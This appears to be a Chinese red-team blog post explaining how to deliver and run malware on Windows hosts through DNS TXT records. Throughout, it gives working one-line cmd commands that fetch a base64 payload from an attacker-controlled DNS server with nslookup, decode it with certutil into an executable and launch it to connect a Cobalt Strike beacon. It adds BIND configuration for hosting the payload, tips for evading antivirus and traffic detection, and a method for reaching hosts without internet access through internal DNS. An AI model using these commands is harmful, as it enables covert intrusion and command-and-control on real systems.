远程下载的通用替代方案 | 红队攻防

2022-01-20 16:55:45 浏览数 (1)

打了这么多的攻防演练了,很多时候我们可以执行命令了,但是没有回显、也不交互添加加用户远程桌面没开、想远程下载木马有杀软拦截循环写入遇到负载均衡、或者目标根本不出网

当然了,一部分兄弟应该是有方法可以上线cs的,比如 certutil 方面的绕过等等吧,但是这些都不是长久之计,杀软随时都有可能把绕过的路堵死,我们是怎么思考这件事的呢?

  • 应对杀软问题 我们使用的方法要么是从来没有人用过的,要么就是把系统或者管理人员常用的功能组合起来
  • 应对负载均衡 要把传递木马载荷 处理载荷 执行[ 清理操作] 做成一个原子操作,也就是成为一个整体,一条命令就结束
  • 不出网 利用目标内网DNS或者端口复用
  • ...

接下来我们将以实现Windows只能执行命令且有杀软条件下的木马载荷传递上线cs为例介绍操作背后的“跨时代意义”的思想

0x01 传递载荷的方式

大家总结的传递载荷的方式一般包括:

  • powershell
  • certutil
  • vbs
  • Bitsadmin
  • ftp
  • tftp
  • debug
  • msiexec
  • mshta
  • rundll32
  • regsrv32
  • ...

很多很多方法,但是基本上都被360这类的杀软给特殊照顾了,除非使用新的绕过手法,不然根本行不通

在刚上大学那会儿,打CTF时候遇到过一次签到题考点是 DNS TXT 记录中保存着 flag,那我们是不是可以也通过 DNS TXT 记录进行传递载荷呢?

关于 DNS TXT 记录的意义可以参考下面两篇文章:

  • TXT 记录值 - Google Workspace 管理员帮助 https://support.google.com/a/answer/2716802?hl=zh-Hans
  • DNS中TXT记录是做什么用的? https://heranonazure.wordpress.com/2016/06/10/dns中txt记录是做什么用的?/

在几乎所有的 Windows 系统上都有默认的 nslookup 程序,这个程序就是用来做 DNS 解析的,所以我们可以在几乎所有的 Windows 系统上使用 nslookup 来做DNS解析从而获取载荷

这样我们就有了载荷传递的方式

0x02 处理载荷

现在我们已经有能力让服务器主动获取一段字符串了,但是这段字符串和其他的结果排列在一起,我们需要对这段字符进行处理,以便我们使用

如果你觉得这段很简单,我真的想哐哐给你两脚!!!

其实这是一个颇为复杂的东西,原因就是windows cmd 默认的指令能力实在是有限,我想截取一些字符串需要大量的操作,好在最后我解决了

获取载荷所在的行——findstr

看似很顺利,但是这里有一个问题:我们要传递的木马文件会有大量的字符,会有很多很多行,如下所示:

所以如果想要获取所有的行,那么就需要在所有的行中设置一个 flag,方便我们 findstr 进行筛选

这样我们就把所有的载荷所在的行筛选出来了,虽然带着我们的 flag 字符 exec ,后期我们再想办法把它去掉

对载荷进行拼接

如果是Linux,可能20分钟我就搞定了,但是 Windows 中愣是耗费了我两天时间

在 Windows cmd 中需要使用 for 命令

代码语言:javascript复制
for {%% | %}<variable> in (<set>) do <command> [<commandlineoptions>]

具体可以查看

for | Microsoft Docs

https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/for

经过两天的挣扎制作出来的命令

代码语言:javascript复制
cmd /v:on /Q /c "set a= && set b= && for /f "tokens=*" %i in ('nslookup -qt^=TXT www.mydomain.com 192.168.31.88 ^| findstr "exec"') do (set a=%i && set b=!b!!a:~5,-2!) && set c=!a:~-6,-2! && if "eofs" == "!c:~0,-1!" echo !b:~1,-4!" > ttt.txt

上面这个指令可以实现写入任意你想写入的字符到 ttt.txt ,当然这离不开我们自己的DNS服务器端的配置

说实话,如果你真的想在实战中使用本文介绍的方法,你就好好去看看上面的这段命令,看不明白可以微信联系我或者公众号私信我,不然你直接拿过来用肯定会骂我的,不过放心,后期我肯定会出一个脚本,直接生成,让大家不用再写

到目前来说,我们已经可以实现将脚本类的文件仅仅通过一个DNS请求写入到目标系统并且直接执行,所以说你要是擅长 bat,vbs等等脚本类东西你就可以直接上线了

但是我们的目的可不仅仅就是传递一个文本,我们要传递二进制可执行文件!

编码转换——certutil

certutil 这是个好东西

详细使用方法参考

certutil | Microsoft Docs

https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/certutil

  • 它可以实现特定格式的base64编码字符串的转换,将base64编码的字符串直接转换为二进制文件
  • 也可以将特定格式的16进制的字符串直接转换为二进制文件

这在Windows 中多命令里就算是宝藏了,不然用 cmd 命令实现 base64 解密得累死,当然了,这里推荐一个工具网站,可以把部分 c 语言逻辑的代码转为 bat 格式或者bash格式,但不要有特别大的期待

Batsh - A language that compiles to Bash and Windows Batch

我们分别将 whoami.exe 转换为 certutil 能接受的16进制和base64字符格式

base64:

如此格式的base64字符串才可以被成功转换为二进制可执行程序,你可能还没有意识到这里有什么问题,第一个问题是字符串包含头部和尾部字符串;第二个问题是每一行的字符串最大长度是固定的,64个字符

HEX:

好家伙,16进制这个虽然说没有头部和尾部字符串,但是可是有一堆不好处理的字符,打印其实倒也无妨,主要是这些字符占用空间太大了,这个原因直接导致我们放弃HEX,使用 base64 ,为什么这么坚决后面大家就知道了

既然我们选择了 base64 ,那我们就需要修改刚才的命令,以适应base64首尾字符串以及每行最大长度的要求

代码语言:javascript复制
cmd /v:on /Q /c "set a= && set b= && for /f "tokens=*" %i in ('nslookup -qt^=TXT www.mydomain.com 192.168.31.88 ^| findstr "exec"') do (set a=%i && echo !a:~5,-2!)"

既然输出没有问题了,可以进行转换了,这里又涉及一个问题:certutil 只能对文件进行转换,所以我们需要将输出字符串输出到文件中,再使用 && 进行连接命令,转换字符串为二进制可执行文件

代码语言:javascript复制
cmd /v:on /Q /c "set a= && set b= && for /f "tokens=*" %i in ('nslookup -qt^=TXT www.mydomain.com 192.168.31.88 ^| findstr "exec"') do (set a=%i && echo !a:~5,-2!)" > ttt.txt && certutil -decode ttt.txt a.exe

0x03 执行二进制程序[ 清理操作]

这里清理操作我作为可选择项来进行考虑,因为通过执行二进制程序你已经获取到了一个 shell,这样的话,你可以通过shell来进行清理,所以这里就不进行清理操作了

代码语言:javascript复制
cmd /v:on /Q /c "set a= && set b= && for /f "tokens=*" %i in ('nslookup -qt^=TXT www.mydomain.com 192.168.31.88 ^| findstr "exec"') do (set a=%i && echo !a:~5,-2!)" > ttt.txt && certutil -decode ttt.txt a.exe && cmd /c a.exe

OK,成功上线 CS

文章到这里可以结束了,但是以我们团队的风格来说,一定要把这其中涉及的知识点和大坑点说清楚

0x04 自建DNS服务器

其实这里涉及两个场景,这也是精彩的地方,但也先不说,我们还是以上面这个案例为主来进行搭建,懂了这个,另一种场景你肯定也会懂的

DNS工作原理以及DNS服务器搭建过程可以参考下面几篇文章:

  • DNS:从零搭建公司内网DNS服务器 - Dy1an - 博客园 https://www.cnblogs.com/Dy1an/p/11157152.html
  • 如何搭建一个DNS服务器 https://ghh3809.github.io/2021/03/17/create-dns-server/

我以一个搞安全的角度去说一说DNS这块,上面案例的命令中我们使用 nslookup www.mydomain.com 192.168.31.88

其中 192.168.31.88 这个参数就是让系统委托 192.168.31.88(攻击者自己搭建的DNS服务器) 来为 www.mydomain.com 进行解析,如果不加这个参数,那么系统会使用自己配置的DNS服务器进行解析,可能是内网DNS服务器、路由器、 8.8.8.8 或者本地运营商DNS等等,企业环境可能就是企业内网中自建的 DNS 服务器

在这种情况下,我们不需要拥有 www.mydomain.com 这个域名。简单来想就是目标主机向攻击者DNS服务器发起一个基于UDP 的 DNS 请求,攻击者 DNS服务器想返回什么结果就返回什么结果。这和让目标主机通过浏览器访问攻击者的web服务器情形是一样的,攻击者想返回什么内容就返回什么内容

听到这里你肯定感到了一丝窃喜对吧,你可以让目标主机向你的DNS服务器发起对 baidu.com 的 DNS 解析,对于baidu.com 解析可能在很多安全设备看来无比正常,同时人工排查的时候也很难发现

没错,这种自定义解析连接 C&C 的方式已经被国外部分僵尸网络程序使用了,从而绕过了流量设备的检测,隐藏了真实的IP地址

废话不多说,开始搭建:

Centos 7 Bind DNS服务器程序,以解析 www.mydomain.com 为例

(Ubuntu 或者其他系统也是类似的,我保证你看懂这个,就能看懂其他的)

安装 BIND

代码语言:javascript复制
yum -y update
yum -y install bind bind-chroot bind-utils

修改 BIND 配置文件,允许其他主机使用 DNS 服务

代码语言:javascript复制
vim /etc/named.conf

options {
    # 监听来自于所有打到53端口的请求
    listen-on port 53 { any; };
    # 允许来自任意host的DNS查询
    allow-query     { any; };
    # 转发逻辑为:服务器将只会请求 forwarders中的DNS主机,请求失败时,将直接应答fail

    # 如果不将自己的服务器作为转发服务器,则无需配置forward和forwarders,此时所有的解析将按照之前的迭代查询方式进行查询
    # 转发服务器列表:8.8.8.8
    forwarders  { 8.8.8.8; };
}

这里主要就修改几项

  • listen-on port 53 设置为 any
  • allow-query 设置为 any
  • 新增 forwarders { 8.8.8.8; };

修改后如下图所示

添加我们要解析的域名

在辅助区域配置文件/etc/named.rfc1912.zones中,添加一条我们自己创建的区域

代码语言:javascript复制
zone "mydomain.com" IN {
        type master;
        file "mydomain.com.zone";
        allow-update { none; };
};

为解析的域名设置 TXT 等记录的值

我们直接复制一份 /var/named/ 目录下的 named.localhost ,使用 cp -a 会直接把对应的权限设置也一并 copy 给新文件 mydomain.com.zone

代码语言:javascript复制
cp -a /var/named/named.localhost /var/named/mydomain.com.zone

默认内容就是上面这样的,我们可以在这里添加我们要的各种记录,这里只涉及 TXT 记录

我们添加了一条 www 子域名的 A 记录,我们将其IP地址解析到 1.1.1.1

同时,我们为 www 子域名添加了一条 TXT 目录,并且设置其值为 "hello world"

启动 BIND 服务

代码语言:javascript复制
systemctl start named

成功启动,可以看到 53 端口监听在 192.168.31.88 上,大坑出现了,centos 默认会开启防火墙,所以需要关掉或者开启相关策略,这里粗暴一些,直接关掉

代码语言:javascript复制
systemctl stop firewalld

测试服务可用性

可以看到,现在服务可用,我们可以任意修改解析记录来传递载荷了

0x05 一些大坑问题

TXT 记录长度问题

本来这个实验我是用自己 GoDaddy 上的域名来做的,因为 GoDaddy 上默认就可以设置 TXT 记录,那会简单很多,不需要搭建 DNS 服务器了

这里的问题是经过我的fuzz GoDaddy 一条 TXT 记录最长为 1024 个字符,我们一个木马最少需要2w个字符,所以 1024 远远不够。从图上可以看出来,GoDaddy 也是支持设置多个TXT 记录的,但是经过我的测试每次请求得到的TXT记录数量、TXT记录的顺序都是不确定的,当然我们可以通过在字符串中设置 1、2、3这样的标记,之后后期获取的时候用命令去匹配和拼接,但是吧,Windows cmd 中的命令弱的程度你懂

那这里就涉及一个问题了,是不是 TXT 记录最大就 1024个字符呢?这件事就别百度了,如果百度,它会告诉你最大可能只有 256 个字符,所以我就使用了比较流行的 BIND 作为 DNS 服务器自己搭建了一个

当然,你完全可以使用 scapy 等程序自己写一个只返回 DNS TXT 记录解析结果包的程序

BIND 服务器超长字符配置方法

这种问题一般人是不会使用到的,所以搜索起来比较麻烦,好在国外有大哥遇到了,并且给出了书写规范

现在我们设置 TXT 记录方式如下:

说白了就是直接写了一个字符串,但是如果字符串长度过长,就会导致服务启动失败,我们可以通过下面这种形式将长字符分割为多个字符组合

这种情况下,只要每行不超过最大值,就可以写很多很多行的字符,实测可以超过 1024 个字符

UDP 包大小限制

上一个大坑解决以后,我以为可以任意字符写入了,最终在搞定了其他条件后,测试的时候发现,一个 70k 的程序 base64 后的结果填充到 TXT 记录后,重启DNS服务怎么也启动不起来,我这才意识到,可能 BIND 自己也有一定长度字符限制,通过 fuzz 我也找到了 BIND 最大的字符限制,大概 60000多

为啥我没有记得这么清晰呢?因为当我设置为最大值的时候,我发现 nslookup 竟然报错了

后来我查阅了一些资料明白过来,DNS请求和回应包都是 UDP包,UDP包最大长度为 65535,还有一些头会占用部分长度,所以留给 TXT 记录的长度最长也就是 65515 左右

好在 CobaltStrike 生成的 stege 木马仅有 14K左右, 远小于 65515

Centos 默认存在防火墙

这个问题上面已经说到了

代码语言:javascript复制
systemctl stop firewalld

NAT 模式下虚拟机之间不互通

这一点是我网络知识没有学好,导致前期配置好了DNS服务器,但是一直解析失败,导致自我怀疑

使用 桥接模式 或者直接使用 VPS 就解决了

cmd 字符转义问题

cmd 命令用在 for 循环的单引号中时,为保证执行正常,需要使用转义符,不同的符号转义符也不一定一样,具体可以参照:

DOS特殊字符转义方法_kucece的专栏-CSDN博客_dos转义字符

我没有找到原作者是谁,只能po上来这篇转载的文章,csdn 让人恶心的地方就是标记了转载,但是可以不设置转自哪里

cmd 命令中变量值不变的问题

这个问题看起来很奇怪,但是很重要,cmd命令中,如果你不开启延时变量,变量的值在循环过程中是不会变化的,在批处理中可以使用 setlocal EnableDelayedExpansion 进行开启延时变量,在 cmd 命令中需要使用 cmd /v:on 来进行开启,之后所有的变量不再使用 %a% 这种形式,而是使用 !a! 这种形式

cmd 命令中关闭命令本身 echo

cmd /Q

这个大家自行体会一下就可以了

cmd 命令中 for 命令边界问题

很难想象,在 cmd 中 for 命令是没有边界的,至少是我没有发现

什么叫没有边界呢?

代码语言:javascript复制
for /f for /f "tokens=*" %%i in ('nslookup -qt^=TXT www.mydomain.com 192.168.31.88 ^| findstr "exec"') do (xxxxx)

这里 do 后面的括号中xxxxx 就是要执行的命令

但是如果我想在整个for 循环命令结束后打印某个变量

代码语言:javascript复制
for /f for /f "tokens=*" %i in ('nslookup -qt^=TXT www.mydomain.com 192.168.31.88 ^| findstr "exec"') do (xxxxx) && echo %a

这个时候的结果是每一次循环都会打印一次 %a ,也就是说 echo %a 成了for 循环 do 后面的一部分

这个问题没有办法解决,只能通过嵌套 if 判断来控制什么时候打印

这个时候我们再来看上面例子中传递任意字符的那条指令

代码语言:javascript复制
cmd /v:on /Q /c "set a= && set b= && for /f "tokens=*" %i in ('nslookup -qt^=TXT www.mydomain.com 192.168.31.88 ^| findstr "exec"') do (set a=%i && set b=!b!!a:~5,-2!) && set c=!a:~-6,-2! && if "eofs" == "!c:~0,-1!" echo !b:~1,-4!" > ttt.txt

这里有一个判断是 if "eofs" == "!c:~0,-1!" "!c:~0,-1!" 就是可以看成一个变量,这里的意思也就是如果这个变量等于 eofs,那么就 echo !b:~1,-4! ,也就是打印一个变量的值

这里的 eofs 是我自定义的,为了能够控制在全部字符传递结束后打印并重定向到文件中,我只能在 TXT 中的最后一行设置为 execeofs ,其中 exec 为 筛选用的 flageofs 作为结束标志,并在最终的打印字符中将这四个字符去掉,这样才能取得完整的字符

0x06 再走一遍CS木马上线

这回把所有的知识点都解释了,我们来重新实施一遍,一次性让大家都能够实操

DNS服务器搭建这种就不说了,只说配置问题

生成木马文件

certutil 生成特定格式base64字符串

代码语言:javascript复制
certutil -encode artifact.exe a.txt

将字符串处理成 BIND 配置文件

BIND 配置文件的字符格式为

代码语言:javascript复制
("aaa"
"bbb"
"ccc)

所以需要把上面的字符串简单处理一下,这个简单写个 python 脚本就能解决,这里就不写了

将这段字符复制到 TXT 记录的配置处

重启 DNS 服务

代码语言:javascript复制
systemctl restart named

目标主机一条命令加载并执行程序上线CS

代码语言:javascript复制
cmd /v:on /Q /c "set a= && set b= && for /f "tokens=*" %i in ('nslookup -qt^=TXT www.mydomain.com 192.168.31.88 ^| findstr "exec"') do (set a=%i && echo !a:~5,-2!)" > ttt.txt && certutil -decode ttt.txt a.exe && cmd /c a.exe

成功上线CS

0x07 为什么说这种思想有“跨时代”意义

吹牛成分较大,但是确确实实解决了一些问题,还可以引出很多的扩展的思考

1. 写文件不怕负载均衡设备了

这个没啥说的,我们把一切变成了原子操作

2. 一定程度上躲避杀软和流量检测

我们可以让目标向我们自己的DNS服务器去解析百度的域名,一定程度上会逃过流量检测

3. 将不出网的主机变成了出网主机

这点很重要,很多目标单位重要系统虽然不出网,但是这些服务器配置了自己的内网DNS服务器,也就是说他们可以主动通过单位内部的DNS服务器连接外部,如果结合今天讨论的方法,我们可以让这个不出网的主机直接执行一个 DNS隧道的木马 或者 让木马做直接做端口复用,这样可以完成反向隧道或者正向连接,形成控制不出网主机的目的

下面我们针对目标系统可以执行命令,但是不出网,目标系统配置了它们单位自己的DNS,可以解析DNS这种情况做一下思路整理:

因为本身不出网,假设 112.112.112.112 是攻击者的DNS服务器 如果我们执行 nslookup -qt=TXT baidu.com 112.112.112.112 这种方式就执行不了了,因为服务器不出网,只能向自己内网配置好的那台DNS服务器发起请求。这个时候我们只能通过买一个域名,之后将域名解析的工作交给 112.112.112.112 来进行攻击

这个请求就变成了:

目标主机 -> 内网DNS -> 根服务器等 -> 112.112.112.112

这样同样可以获取最大 65515 个字符的载荷

之后木马同样通过这种路径与 C&C 进行连接

4. 这种思想几乎适用于所有的系统

这个没啥说的,就是字符处理命令上的不同,Windows、Linux、Mac、AIX等

5. 这里只是利用了DNS协议和nslookup,其他呢?

这里留白,留给更多愿意思考的安全

0 人点赞